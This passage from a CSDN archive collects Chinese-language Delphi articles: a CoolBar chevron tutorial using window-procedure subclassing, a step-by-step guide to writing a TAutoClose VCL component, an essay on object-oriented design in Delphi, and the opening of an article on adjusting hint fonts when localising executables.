        Break;
      end;
    end;
  end;

由于 CoolBar1 上 Band 可以改变位置（当有多个 Band 时），所以我们需要一个变量来存储放有 ToolBar1 的 Band 的当前位置（后面会提到如何捕捉到 Band 的位置变化）。

在 Private 部分定义一变量：

  private
    CoolBandIndex: Integer;

在 Form1 的 OnShow 事件加入如下代码：

  CoolBandIndex := GetCoolBand('MyToolBand', CoolBar1);   {定位 Band 的位置}
  CoolBar1.Bands.Items[CoolBandIndex].UseChevron := True;   {我们自己加的属性}
  CoolBar1.Bands.Items[CoolBandIndex].DealWidth := GetTBButtonsWidth(ToolBar1);    {我们自己加的属性}

现在大家可以运行一下程序了，然后缩放 Form1 使 ToolBar1 上部分按钮被遮住，看下拉按钮（Chevron）是不是出来了！（什么？没有！赶快检查一下前面各步做得是否正确）

大家可能注意到了一个问题：ToolBar1 上按钮可能被遮住了一半，另一半还显示在外面，能不能使一个按钮一旦部分被遮住后，整个按钮不显示呢？我发现 Delphi7 中的 ToolBar 中多了一个属性 HideClippedButtons，就是干这事的，这个属性只在ME、2000、XP下起作用，但 Delphi6 却没有这个属性。有兴趣的可以参照 Delphi7 改一下，很容易的。

各位注意了，重头戏来了。如何点击这个下拉按钮（Chevron）使被遮住的按钮显示出来呢？还有我们前面提到的当 Band 改变位置时如何能通知我们呢？答案是消息！当我们点击下拉按钮（Chevron）时 CoolBar 会给它的父窗口发送 RBN_CHEVRONPUSHED 消息；当改变 Band 的位置会发送 RBN_LAYOUTCHANGED 消息。实际上这两个消息是附加在 WM_NOTIFY 消息中的。下面我们就来在 Form1 的窗口函数中拦截这两个消息（一般来说 Form1 是 CoolBar1 的父，如果你将 CoolBar1 放在其他容器控件中，则要在相应的窗口函数中拦截，原理相同）。

在 Private 部分定义两个变量及一过程：

  private
    FClientInstance : TFarProc;
    FPrevClientProc : TFarProc;
    procedure NewWindowProc(var message:TMessage);

在将 NewWindowProc 这个过程的实现前先在 Form1 的 OnShow 事件中加入代码（这段代码写在 OnShow 中所有代码的前面）：

  procedure TForm1.FormShow(Sender: TObject);
  begin
    {$Warnings Off}
    FClientInstance := MakeObjectInstance(NewWindowProc);
    FPrevClientProc := Pointer(GetWindowLong(Form1.Handle, GWL_WNDPROC));
    SetWindowLong(Form1.Handle, GWL_WNDPROC, LongInt(FClientInstance));   {替换 Form1 的窗口函数}
    {$Warnings On}
    {... ...}
  end;

再在 Form1 上放一 PopupMenu1，设置它的 Alignment 为 paRight。用来显示被遮住的按钮。

窗口函数 NewWindowProc 的实现如下：

  procedure TForm1.NewWindowProc(var message: TMessage);
  type
    {封装一 TNMREBARCHEVRON 结构。这个结构随 RBN_CHEVRONPUSHED 消息发送。}
    PNMREBARCHEVRON = ^TNMREBARCHEVRON;
    TNMREBARCHEVRON = record
      hdr: TNMHDR;
      uBand: UINT;
      wID: UINT;
      lParam: LPARAM;
      rc: TRECT;
      lParamNM: LPARAM ;
    end;

  const
    RBN_CHEVRONPUSHED = RBN_FIRST - 10;

  var
    ANMHDR: PNMHDR;
    ANMREBARCHEVRON: PNMREBARCHEVRON;
    ScreenRect: TRect;
    FirstClipButton, I: Integer;
    AMenuItem: TMenuItem;
    {这个函数用来得到 ToolBar1 上被遮住按钮中最左边那个的位置（Index）。}
    function GetFirstClipButton(ACoolBar: TCoolBar; AToolBar: TToolBar): Integer;
    var
      ButtonRect: TRect;
      TBCount, I, TempWidth: Integer;
    begin
      Result := -1;
      TempWidth := 0;
      TBCount := AToolBar.Perform(TB_BUTTONCOUNT, 0, 0);
      for I := 0 to TBCount - 1 do
      begin
        AToolBar.Perform(TB_GETITEMRECT, I, Integer(@ButtonRect));
        TempWidth := TempWidth + (ButtonRect.Right - ButtonRect.Left);
        if TempWidth > AToolBar.Width then
        begin
          Result := I;
          Break;
        end;
      end;
      end;
  begin
    with message do
    begin
      if Msg = WM_NOTIFY then
      begin
        ANMHDR := PNMHDR(LParam);
        if ANMHDR.code = RBN_CHEVRONPUSHED then    {我们点击了下拉按钮（Chevron）}
        begin
          ANMREBARCHEVRON := PNMREBARCHEVRON(LParam);
          ScreenRect := Rect(ClientToScreen(ANMREBARCHEVRON.rc.TopLeft), ClientToScreen(ANMREBARCHEVRON.rc.BottomRight));
          FirstClipButton := GetFirstClipButton(CoolBar1, ToolBar1);   {得到 ToolBar1 上被遮住按钮中最左边那个的Index}
          if FirstClipButton = -1 then Exit;
          PopupMenu1.Items.Clear;   {清空 PopupMenu1 上的所有 MenuItem}
          PopupMenu1.Images := ToolBar1.Images;
          for I := FirstClipButton to ToolBar1.ButtonCount - 1 do  {将所有被遮住的按钮在 PopupMenu1 上用一个 MenuItem 显示出来}
          begin
            AMenuItem := TMenuItem.Create(Self);
            if (ToolBar1.Buttons[i].Style = tbsSeparator) or (ToolBar1.Buttons[i].Style = tbsDivider) then
              AMenuItem.Caption := '-'
            else begin
              AMenuItem.Caption := ToolBar1.Buttons[i].Caption;
              AMenuItem.ImageIndex := ToolBar1.Buttons[i].ImageIndex;
              AMenuItem.Enabled := ToolBar1.Buttons[i].Enabled;
              AMenuItem.OnClick := ToolBar1.Buttons[i].OnClick;
              if ToolBar1.Buttons[i].Action <> nil then
                AMenuItem.Action := ToolBar1.Buttons[i].Action;
            end;
            PopupMenu1.Items.Add(AMenuItem);
          end;
          PopupMenu1.Popup(ScreenRect.Right + 3, ScreenRect.Bottom + 3);
        end else if ANMHDR.code = RBN_LAYOUTCHANGED then               {拦截 Band 位置改变的消息}
        begin
          for I := 0 to CoolBar1.Bands.Count - 1 do
          begin
            if CoolBar1.Bands.Items[I].Text = 'MyToolBand' then
            begin
              CoolBandIndex := I;
              Break;
            end;
          end;
        end;
      end;
      Result := CallWindowProc(FPrevClientProc,
                               Form1.Handle,
                               Msg,
                               wParam,
                               lParam);
    end;
  end;

到此，基本代码已经完成（运行看看效果吧，这样的 CoolBar 才有点 Cool 的样子嘛）！

上面的代码还不能完全适用实际的需要，有两点需要特别注意的：

  1. 我们看到上面的代码只在 Form1.OnShow 事件中为 DealWidth 赋值：
    CoolBar1.Bands.Items[CoolBandIndex].DealWidth := GetTBButtonsWidth(ToolBar1);
    当我们在运行期间将 ToolBar1 由大按钮变为小按钮（或反之），那么 DealWidth 的值将和 ToolBar1 上所有按钮的总宽度有出入，这样下拉按钮（Chevron）就无法正确出现在它应该出现的地方。所以，只要有动作改变 ToolBar1 所有按钮的总宽度，就要重新给 DealWidth 赋值。
  2. 在将 ToolBar1 上被遮住按钮用 PopupMenu1 来显示时要分清楚这些按钮的不同状态，比如某按钮为一 tbsCheck 按钮，或是一 tbsDropdown 按钮（具有下拉菜单的）该如何处理。遇到这些情况，大家可以看看其他著名的共享软件如何实现，比如 ACDSee5、WinZip等。

文章是写完了，就不知道写的是否明了。如有什么疑问，请来 Email 和我讨论，也可向我索要 Demo。
我的 Email: Happyjoe@21cn.com


CSDN_文档中心_Delphi 元件設計初步(一)

Delphi 元件設計初步(一)

作者：Danny Tzu
日期：May-2-2002

前言

其實這篇文章很早以前就想寫了, 但礙於個人能力及時間的問題, 就一直拖著沒動作, 本篇並不是要講很多 VCL 的大道理, 而是教您如何簡單的 Step By Step 作出您自己的元件.

當然有人從不用3-Party元件, 理由是可以直接在另一台電腦上撰寫程式不用安裝元件, 但是Delphi本身就是用元件堆出來的, 不使用自訂元件我認為並不是一個聰明的作法.

撰寫本篇是因為大多數使用 Delphi 的人只會使用元件, 也許這是當初採用 Delphi 的原因, 但是在設計軟體時, 有很多時候只要簡單的設計或修改元件就可以解決問題, 我知道也有人寫一些共用的 procedure 或 function 但使用起來會有些限制或不方便, 但一想到要寫(改)元件要知道很多技術及原理, 尤其完整的撰寫元件文章書籍都是片片斷斷, 可能就馬上打了退堂鼓, 其實寫元件也可以很簡單, 當然您懂的東西越多可以寫的元件功能及型態越多.

本篇不談 Interface 的使用(以下範例一個 Interface 都沒用到), 但並不表示 Interface 不重要, 相反的它非常重要, 主要是我認為這不適合在這理說明, 如果各位有興趣的話可以參考 BrianChang 的「Interface的基礎 」及 code6421 的「淺談Interface」兩篇文章.

這裡我不會講很多的大道理, 但這並不表示您就可以不需要瞭解一些像: 物件導向, Windows 訊息機制, Stream I/O 機制 ... 等相關知識, 如果您懂得越多當然寫出來的元件越好; 雖然 Delphi 以視覺化設計著稱, 但寫元件一點也不視覺化, 您必須要像在 DOS 時代一樣純手工打造, 也許對有點年紀的人來說會反而更熟悉吧 !

使用環境

Delphi 5, 6 All Version
建議使用 Enterprise 版本可以有很多 VCL Source code 可以參考.

開始吧

元件大致上分為二大類:

  1. 不可視元件:
    不可視元件一般和系統有關, 他的特色是在 Run Time 時在軟體上是看不到他的, 但確實會提供服務, 像 TActionList, TMainMenu, TPopupMenu, TDataBase, TQuery.... 等.
  2. 可視元件:
    可視元件和不可視元件剛好相反, 在 Run Time 時他是看得到的, 當然 Design Time 也是可以看到, 不然您如何設定特性(property)及 Event, 像 TImage, TDBGrid, TEdit .... 都是.

其實您已經在寫元件了可能您自己都不知道, 您每天寫程式都是寫在哪裡 ? TForm 對吧 ! 您的 Form 都是繼承自 TForm 這個元件, New Form Unit 會產生如下的框架程式碼:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

end.

而以 New Component (Component -> New Component) Unit 所產生的框架大概像下面這樣:

unit CustomControl1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TCustomControl1 = class(TCustomControl)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
  published
    { Published declarations }
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TCustomControl1]);
end;

end.

注意到了嗎? 這二個 Unit 只差在 TForm 沒有宣告 protected, published 這二個節區, 因為大部份在寫 Form 時都用不到這二個節區, 所以 Delphi 會省略掉, 但是您要用的話也可以, 就自己手動加上吧!
另外因為要安裝到元件盤的關係, 所以 CustomControl1 會多出 procedure Register, 但反過來想 TForm 是不能安裝到元件盤的, 這部份您可以試試看有沒有辦法安裝到元件盤, 可以的話請告訴我一聲.
另外 TForm 不用安裝就能使用, 這點我想是為了方便的原因, 不過如果您是用 Delphi Package 技術的話還是需要安裝這一個步驟, 這就和元件一樣了, 如果您有興趣可以參考在下另一拙作 "Delphi Package 無痛使用"

第一個自製元件

首先我們作一個 "不可視元件" , 為何要先選 "不可視元件" 作呢 ? 原因是 "簡單" 因為不需要很多的技術就能作了.

開始當然要先選繼承的父親是誰 ? 因為我們是作不可視元件所以選 TComponent 為父親, 另外順便一提 Delphi 有定義繼承自 TComponent (含)以下的叫 "元件" , 其他的叫 "物件", 因此 "物件" 包含 "元件" (白馬非馬也, 聽過吧 !), "元件" 和 "物件" 差在可不可以安裝在 "元件盤" 上(不過TForm是例外，雖然它也是繼承自TComponent).
首先要決定繼承自那一個元件, 因為我們要撰寫 "不可視元件"，當然是 TComponent 了，如果您高興也可以繼承別的元件, 不過相信一定要額外處理比較多的事情, 我們就不找麻煩了.

1. TAutoClose 定時關閉元件所在TForm:

在如下畫面中選擇 New Component 新增元件, 此步驟以後不在重覆提到.

在 Ancestor type 中選擇要繼承的父階元件, 我們選 TComponent, Class Name 內輸入我們要建立的元件名稱, 這裡順便一提, 元件的撰寫慣例是用 T 開頭, 後接 2-3Byte的元件組名(自定), 其後才是此元件的名稱(詳細定義請參考蔡煥麟的「請依照標準寫碼風格撰寫程式」、「 Delphi 5 寫碼標準」和「Delphi 5 元件型態字首」), 這麼做的原因是 Delphi 不允許 Class Name 重覆, 如果大家都亂編的話, 重覆的機率就很高了; 但我們只是示範如何寫元件就省略元件組名了.
但新增元件和 Class 有何關係, 我這樣說好了, 元件(物件)是類別(Class)的實作這樣說比較容易理解了吧!

設好了以後可以在 Unit file name 中選擇存檔的路徑及名稱, 按 OK 後出現如下內容就可以開始寫元件了, 但我先說明各區段的意義一下：

unit AutoClose;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TAutoClose = class(TComponent)
  private
    { Private declarations }
    私有區段.
    本段只有本元件可看見, 包含變數, function, procedure, property
    所使用的function, procedure系統自動放於此元件的欄位定義在此如 Text
  protected
    { Protected declarations }
    保護區段.
    只有繼承此元件的[子元件]方可看見及使用, 若不要將某property開放出來, 只要不在子元件的
    published 區段不宣告即可隱藏, 這有點像是散裝模型套件, 零件, 顏料, 膠水都有了,
    只等子元件組裝加工, 一般像 TCustomXXX 此類元件都是(可以繼承, 但在元件盤上是看不到的)
    在此區段宣告可以讓繼承此元件的子元件決定那些要公開那些要隱藏, 因為VCL如果已經公開 就無法
    再隱藏, 例如: TEdit繼承自TCustomEdit 幾乎只是宣告那些要公開而已.
  public
    { Public declarations }
    公開區段.
    只有在 Run Time 時才可以存取本區段, 不會在 Object Inspector (就是 Design Time
    時左邊那個視窗)出現, 本區段一般作物件的方法(method). 虛擬方法(virtual method)
    可分為虛擬(virtual)及動態(dynamic)二種, 虛擬的效率快但佔用較多資源, 我想可能用在
    和資料庫有關的地方比較多, 動態和虛擬相反, 效率慢但佔用較少資源, 但現在的電腦速度都很
    快的時候, 應該 VCL 大部份都採用動態方法, 虛擬方法可以達到 [多形]的效果, 可讓後代繼承
    者用 Override 改寫虛 擬(cirtual)及動態(dynamic)二種的效率差異主要是在VMT(Virtual
    Method Table) 的不 同, 使用虛擬方法其後代不論是否有用override改寫, 其父代各個虛擬
    方法的進入點(佔4Byte)會在子代的VMT中出現(這也是為何會比較佔用資源的原因, 如果有繼承
    到五代, 第五代就記錄了五個進點), 而動態方法如果沒有用override改寫, VMT不會出現此方
    法的進入點, 系統必須向上往父階查詢有沒有此動態方法(當然要一些時間)
  published
    { Published declarations }
    公開設定區段(開放區段)
    本區段會出現在 Object Inspector 中, 可讓 User 在 Design Time 時設定, 大概長得如
    下這樣:
    property Text: string read FText write SetText default '' stored True;
    如果只有 read 沒有 write 則不會出現在Object Inspector中, 只能在Run Time使用(如同
    是在 public 區段中一樣)且此 property 是 read only, default Boolean 是如果設定
    值剛好是此值則不會存於.DFM(是Windows Resource File 格式)中可以減少執行檔的大小,
    default 後可以放傳回   Boolean 值且不傳值的 function, 例如: IsStoreColor
    stored 設為 True (系統內定) 會將此property 值存於 .DFM中, False 不會存檔,
    default 及 stored 可不用此區段會提供RTTI資訊, 讓系統使用(有關RTTI用另一章節討論)
    read (讀取資料) 及 write (設定資料) 後可接 Field 變數, 如: FText 或 不帶參數
    procedure 或 function 為了解決 procedure 及 function不能傳參數的問題, Delphi
    提供一個叫 Index 的指令可以達到 procedure 及 function 共用的目的, 宣告方式如下(
    程式碼在implementation部份):
    property Text3: String Index 3 read GetText write SetText3;
    property Text2: String Index 2 read GetText write SetText2;
    property Text: String Index 1 read GetText write SetText;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TAutoClose]);
end;

end.

如果您看不懂以上的說明那也很正常, 這並不會影響後面的進度, 好啦 ! 開始寫作了.

因為我們要設定時間自動可以Close Form, 第一個想到的是用 TTimer 來作, 那就試試看吧!

unit AutoClose;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, extctrls;

type
  TAutoClose = class(TComponent)
  private
    { Private declarations }
    FTimer: TTimer;
  protected
    { Protected declarations }
  public
    { Public declarations }
  published
    { Published declarations }
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TAutoClose]);
end;

end.

首先在 private 中宣告一個Field(欄位)叫 FTimer: Timer, 但 Delphi 竟然不認識 TTimer, 在 TTimer 上按 F1 查到是放在 extctrls 單元中, 我們就手動加入吧 !

再來宣告產生及毀滅本元件的程式, 在 public 中宣告:

constructor Create(AOwner: TComponent); override;
destructor Destroy; override;

以上名稱當然可以改, 但是我不建議改它, 因為這會讓 C++ (就是BCB) 無法使用本元件, 因為 C++ 的記憶體管理和Delphi不同.
好啦! 現在按 [Ctrl] + [Shift] + [C] 讓Delphi幫我們產生相關程序, 再手動加工成為如下程式：

private
... 省略 ...
procedure NewTimer(Sender: TObject);
... 省略 ...

constructor TAutoClose.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);

  FTimer := TTimer.Create(Self);
  FTimer.Enabled := False;
  FTimer.OnTimer := NewTimer;
end;

destructor TAutoClose.Destroy;
begin
  FreeAndNil(FTimer);
  inherited Destroy;
end;

由於 Timer 是我們自己要用的物件, 所以要自己產生自己消滅, 加上產生 Timer 程式碼及時間到了以後要做什麼事的procedure (內容先不急得寫),

我們可以宣告二個 property Enabled(啟動AutoClose) 及 Interval (時間) 讓User 自己設定處理, 在 published 中宣告如下：

property Enabled: Boolean read GetEnabled write SetEnabled;
property Interval: Cardinal read GetInterval write SetInterval;

一樣按 [Ctrl] + [Shift] + [C] 讓Delphi幫我們產生相關程序, 再改成如下這樣：

function TAutoClose.GetEnabled: Boolean;
begin
  Result := FTimer.Enabled;
end;

function TAutoClose.GetInterval: Cardinal;
begin
  Result := FTimer.Interval;
end;

procedure TAutoClose.SetEnabled(const Value: Boolean);
begin
  FTimer.Enabled := Value;
end;

procedure TAutoClose.SetInterval(const Value: Cardinal);
begin
  FTimer.Interval := Value;
end;

procedure TAutoClose.NewTimer(Sender: TObject);
begin
  Enabled := False;
  ShowMessage('Hello My First Component');
end;

這樣基本上元件就寫好了, 因為 Delphi VCL 是以 Package(.BPL)型式存在的, 所以需有一個 Package 容納我們寫的元件。接著 File ->New，如圖3：

選 Package 再選 OK：

出現如下視窗 按 Mouse 右鍵選 Save：

選擇要存 Package 的檔名及位置, 建議存在 Projects\BPL 下 , 決定好後選存檔：

回到(圖 5) 畫面, 按一下 Add，出現如圖 7 的視窗：

選[Browse] 將 AutoClose.pas 加入, 再選 OK。

然後選 Install 安裝元件到元件盤中。

好啦! 到元件盤的 Samples 頁中選 AutoClose 到 Form 中測試看看有沒有正常.

可以放到 Form 而且 Object Inspector 內也有這二個自訂property了, 應該沒問題了吧 ! 將 Enabled 設成 True 測試看看

可以出現 (圖 10) 對話框沒問題了.

但是這元件如果在 Design Time 那不是也有問題嗎 ? 沒錯, 所以要稍微加工改一下, 再將 TAutoClose 真正要做的事寫到 NewTimer 中, 完整程式碼如下:

unit AutoClose;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls;

type
  TAutoClose = class(TComponent)
  private
    { Private declarations }
    FEnabled: Boolean;
    FTimer: TTimer;
    FOnTimer: TNotifyEvent;

    procedure NewTimer(Sender: TObject);
    function GetInterval: Cardinal;
    procedure SetEnabled(const Value: Boolean);
    procedure SetInterval(const Value: Cardinal);
  protected
    { Protected declarations }
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

  published
    { Published declarations }
    property Enabled: Boolean read FEnabled write SetEnabled;
    property Interval: Cardinal read GetInterval write SetInterval;
    property OnTimer: TNotifyEvent read FOnTimer write FOnTimer;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TAutoClose]);
end;

{ TAutoClose }

constructor TAutoClose.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FTimer := TTimer.Create(Self);
  FTimer.Enabled := False;
  FTimer.OnTimer := NewTimer;
end;

destructor TAutoClose.Destroy;
begin
  FreeAndNil(FTimer);
  inherited Destroy;
end;

function TAutoClose.GetInterval: Cardinal;
begin
  Result := FTimer.Interval;
end;

procedure TAutoClose.SetEnabled(const Value: Boolean);
begin
  FEnabled := Value;
  // 確定在 Run Time 時才有作用
  if not (csDesigning in ComponentState) then
    FTimer.Enabled := Value;
end;

procedure TAutoClose.SetInterval(const Value: Cardinal);
begin
  FTimer.Interval := Value;
end;

procedure TAutoClose.NewTimer(Sender: TObject);
begin
  Enabled := False;  // 先將 FTimer 關掉避免重覆觸發.
  // 如果 OnTimer 內有程式則執行.
  if Assigned(FOnTimer) then
    FOnTimer(Sender);

  (Owner as TForm).Close;
end;

end.

以上程式已經將 procedure GetEnabled 移除, 並宣告一個 FEnabled 欄位, 這樣作的目的是可以讓我們在 Design 中設 Enabled := True , 但不會真正的觸發 FTimer , 當然 procedure SetEnabled 也要改寫才行, 另外再增加一個 FOnTimer , 可以讓User 在 Form Close 前處理一些事情; 完成後再寫一個程式測試一下此元件是否可以正常運作, 例如: 在 Design Time 設 Enabled := True 看在Design Time 會不會動作, Run Time 是否會在設定時間時 Close Form, 如果沒問題那此元件就測試完成了; 但是您有沒有覺得內定的元件Icon有點醜, 而且如果每一個元件 ICON 都長得一樣 User也會弄錯, 接下來做元件 ICON 吧!
選 Image Editor , File -> New -> Component Resource File (.dcr)

按 Mouse 右鍵, New -> Bitmap

圖型長寬設成 24 x 24 這是 Delphi 元件盤可以接受的ICON大小

按 Mouse 右鍵, Rename 輸入 Class Name TAutoClose

在 Class Name 上, 快按 Mouse 左鍵二次, 開始畫 ICON 內容, 您也可以按
[Ctrl] + [I] 放大
[Ctrl] + [U] 縮小

存檔檔名設 AutoClose.dcr 並且必需和 AutoClose.pas 同目錄才可以重新Install TAutoClose 的 Package (MyPackage.dpk), 如果 AutoClose.dcr 沒有在 Package 中, 您要手動加進來, 完成後看 Samples 的頁面：

已經有我們自己設計的 ICON 在上面了…..

前面講解的不只是如何寫一個元件, 還包含程式的debug方法及製造流程, 雖然有一點繁複但是卻是問題最少, 比較不會發生程式寫完了, 卻發生程式也完蛋了的情形, 必竟良好的程式設計習慣也是很重要的.

附錄A: 訊息的應用

訊息(Message)的應用很廣, 精確的說，如果沒有訊息, Borland 的 VCL 應該架構不出來吧!

訊息的使用時機大部份是補您在元件設計上的不足, 或者是為了程式的精簡而使用, 像有時候需要對很多的元件作處理(例如:重畫元件), 如果一個一個去處理, 是乎不是個好方法, 尤其元件種類繁多, 這時用訊息就是很好的選擇.

訊息可以只對某元件傳送或是用廣播的方式送出, 但是接受的元件必需有相對應的處理程序, 而且必須是元件的 Month, 聽起來好像和網路的處理方式一樣, 沒錯! 是一樣的.

VCL其實已經將訊息處理機制包含在裡面了, 在所有元件(物件)的始祖 TObject 中已經包含訊息處理機制, 也就是說所有的元件都有處理訊息的能力, 不過 VCL 將訊息包裝的比較簡單了, 所以使用起來就很簡單了, 接下來我就來示範如何使用訊息.

元件內的訊息廣播:

要能夠做訊息的廣播必須是 TWinControl 的後代子孫, 廣播使用的是 BroadCast 方法, 要做廣播大慨像以下這樣寫法

var
  Msg: TMessage;
begin
  Msg.Msg := CM_REPAINT_BY_SELF;
  Msg.WParam := 0;
  Msg.LParam := 0;
  Msg.Result := 0;
  (Self as TWinControl).Broadcast(Msg);
end;

其中 CM_REPAINT_BY_SELF; 是我自己定的訊息, 當然您也可以使用 Windows 的訊息, 他們定義在Windows.pas 中, 如果要定義自定訊息要像以下這樣

const
  CM_REPAINT_BY_SELF = WM_USER + 100;

自定訊息必須以 WM_USER + 100 開始一直到 $7FFF 結束, 我想 Windows 提供的應該夠用了, 這個區域以外請不要使用, 因為 Windows 已經定義了這區域, 如果重覆定義可能會有想不到的問題發生

接受訊息部份程式像以下這樣：

procedure WMREPAINT_BY_SELF(var Message: TMessage); message CM_REPAINT_BY_SELF;

… 省略 …

procedure TahDBEdit.WMREPAINT_BY_SELF(var Message: TMessage);
begin
  Invalidate;
end;

以上例子只是收到訊息重畫元件而已, 當然您可以做很複雜的事. 不過以上範例最多只有侷限在一個 TForm 中而已.

待續...

2. TDoHotKey 簡單設定 HotKey
3. 有底圖的TLabel
4. TStatusProcess 在 TStatusBar 上加上 TProcessBar 功能
5. 資料感知元件:
6. 元件協同處理:
7. 自製密碼詢問元件:
8. 不同程序(Processe)程式(EXE),視窗(Form)的訊息廣播:


CSDN_文档中心_Delphi 中面向对象编程之我见

Delphi 中面向对象编程之我见

    面向对象的编程技术提出来也有些年头了，开发大型软件的时候采用面向对象的编程技术可以缩短程序的开发周期，提高程序的可读性，易调试性，同时也就相应的提高了程序的可维护性，而对大型软件而言，可维护性是保证其生命力的一个极为重要的指标。
    不知大家注意到没有，可视化程度很高的编程语言在采用面向对象的编程技术上很难处理。例如 VB，4.0基本不支持面向对象的编程，5.0 好一些，但微软也只敢说在面向对象的编程上 5.0 比 4.0 好得多，而不敢说 5.0 支持完全的面向对象的编程（6.0 我没用过，不知道，如果能支持，也是 VB 爱好者的福音了）。这大概就是人们常说的不用 VB 做大型程序的重要原因之一吧。 我不知 Delphi 是从什么版本开始提供面向对象编程支持的，但我从 VB 5.0 转到 Delphi 4.0，除了项目要求外，这是最重要的原因了。
    由于 Delphi 除了支持面向对象的编程外，也支持一般的面向过程的编程，而且因为其可视化技术的运用，很多人（包括我）很容易就偏离了面向对象的方向，实际上，我觉得要实现面向对象的编程也不难，因为 Delphi 给你的全都是对象，你只要在编程的时候注意自己的代码就是了。下面是我对在 Delphi 中采用面向对象技术的一些体会：

1．不要用全局变量
    即使要用，也要用全局对象来代替它。习惯了面向过程编程的程序员在这点上很容易犯错，而且这一点相对来说也比较难掌握。实际上，全局变量也是面向过程编程技术的一个很大的缺陷，难跟踪，难调试，也就难维护。
    为什么要用对象而不是变量呢？对象可以封装对变量的操作，任何对该变量的操作都必须通过调用对象的方法来完成，我们可以在操作该变量的方法中设置断点来调试，这就解决了前面所提到的 3 个难点（难跟踪、难调试、难维护）。
    举个常见的例子（也许并不能最大限度的反映这个问题）：让你做一个 IE，对于 Internet Option，你打算怎样处理？
    根据以上的讨论，我的想法是写一个 TDefaultINI 类，这个类负责 Option 中各项设置的保存，读取。Option window 和别的需要操作其中设置的对象都通过这个类来进行处理。这样就实现了数据的封装。你可以定义一个 TDefaultINI 类的实例作为全局对象，当然，因为这些设置是保存在存储器中可以随时读取的，你也可以只在需要的时候创建一个 Tdefault 对象来完成你的功能。

2．对象之间交换数据，尽可能的使用属性而不是变量
    为什么要用属性而不是变量呢？对数据的操作可以通过属性的方法进行封装，一旦以后对象内部的数据结构发生了变化，只要我们提供的属性接口不变，对程序别的部分的影响就能减小到最小。例如 Form 之间通过属性来交换数据。以后因为某个原因你得将原来用数组实现的东西改为用链表实现，只要你的属性接口仍然是数组，那对别的对象就几乎没有影响。

3．合理的安排对象的方法
    我直接举例来说明这个问题，例如在连接数据库的时候，你是在主 Form 中设置好 TdataModule 中 Tdatabase 的 AliasName 和 Params，然后用 DataModule.Database.Open 来连接呢，还是写一个 TdataModule.ConnectToDatabase 方法，将 AliasName 和 Params 作为 TdataModule 的属性，而在主 Form 中调用这个方法来连接呢？从理论上来讲，两种方法都是面向对象的。也许很多人不能体会到后一种方法的优越性，想象一下如果数据库发生了变化，以前只有 Sql Server，现在还需考虑 Oracle。后一种方法将会使你的应对轻松的多，尤其是你在主 Form 中有好几处地方需要连接数据库的时候。

4．合理的安排你的对象
    一个问题该有几个对象来解决，每个对象实现什么功能，它们之间是什么联系？这个问题是面向对象编程的永恒的问题，Delphi 中这个问题怎么处理呢？在此我就和 Form 有关的问题和大家讨论一下吧，先举一个例子：写一个将 IE 中的收藏夹导入到数据库中的程序，该怎么安排你的对象？这个问题并不复杂，一个 Form 就能解决问题了，也许为了数据库管理比较方便，再加上一个 DataModule，Form 负责读入收藏夹，将之显示在 TreeView 中，用户可以选择 TreeView 的节点（即收藏夹）导入数据库。也许你的程序刚做好，老板又要求对 NetScape 的 BookMark 也完成同样的功能，怎么样，你的改动量有多大？如果你以前使用的是两个对象来完成上面讨论的一个 Form 的功能，一个对象负责将收藏夹的数据导入到 TreeView 中，而 Form 只完成对 TreeView 的操作，你就会发现你的改动是很轻松的。由此我的建议是 Form 只完成对界面的操作，对于具体的数据结构，由我们自己写的对象去完成。

5．不要在两个同级的子 Form 之间交换数据
    在 Delphi 中很容易犯这个错误，这样做是很危险的，因为很有可能你认为存在的 Form 被关闭了或者干脆就没有打开过，而且这样做最大的坏处是程序晦涩难懂。解决的办法之一是可以通过它们的父 Form来交换数据，例如父 Form 中取得 A子 Form 的属性值，根据这些值来设置 B 子 Form 的属性值。
    面向对象的编程技术绝不只是应用在大型软件的开发上，实际上，小型程序采用面向对象的技术开发对于今后的扩展和移植（即是只是部分功能的移植）是很有帮助的。希望我的这篇文章能起到一个抛砖引玉的作用，欢迎大家和我讨论，我的 email ：l940801@yahoo.com。


CSDN_文档中心_Delphi 字号修改之二

Delphi 字号修改之二

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

Hint

在上次的 Delphi 消息框字体问题之后，又有汉化人提出 Hint 字体修正的问题，在说这一个问题之前，我们要再熟悉一下微软推荐的字体设置方法：

    nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

大家也看到了，最后一个参数是 72 ，也就是十六进制的 0x48 ，而且它是一个常数，所以这样的语句编译到可执行文件中的时候就会出现一个明显的 push 00000048 的语句，而且，因为 72 是最后一个参数，所以这个 push 语句是这一行程序的第一个 push 语句，这样，上次我们介绍的修改消息框的方法就可以用 push 00000048 作为辅助判断方法，据大宇说，用这种方法判断，迄今为止是百发百中的。 :)

而这一次的 Hint 的问题，因为在反编译出来的文件中找不到“push 00000008\n\n* Reference To: kernel32.MulDiv,”或上面几行没有“push 00000048”，所以无法找到需要修改的地方，我通过查找代码发现，对于 Hint 的字体设置，其中并不是直接压入 8 ，也就是说没有明显的 push 00000008 ，但是仍然是可以修改的。

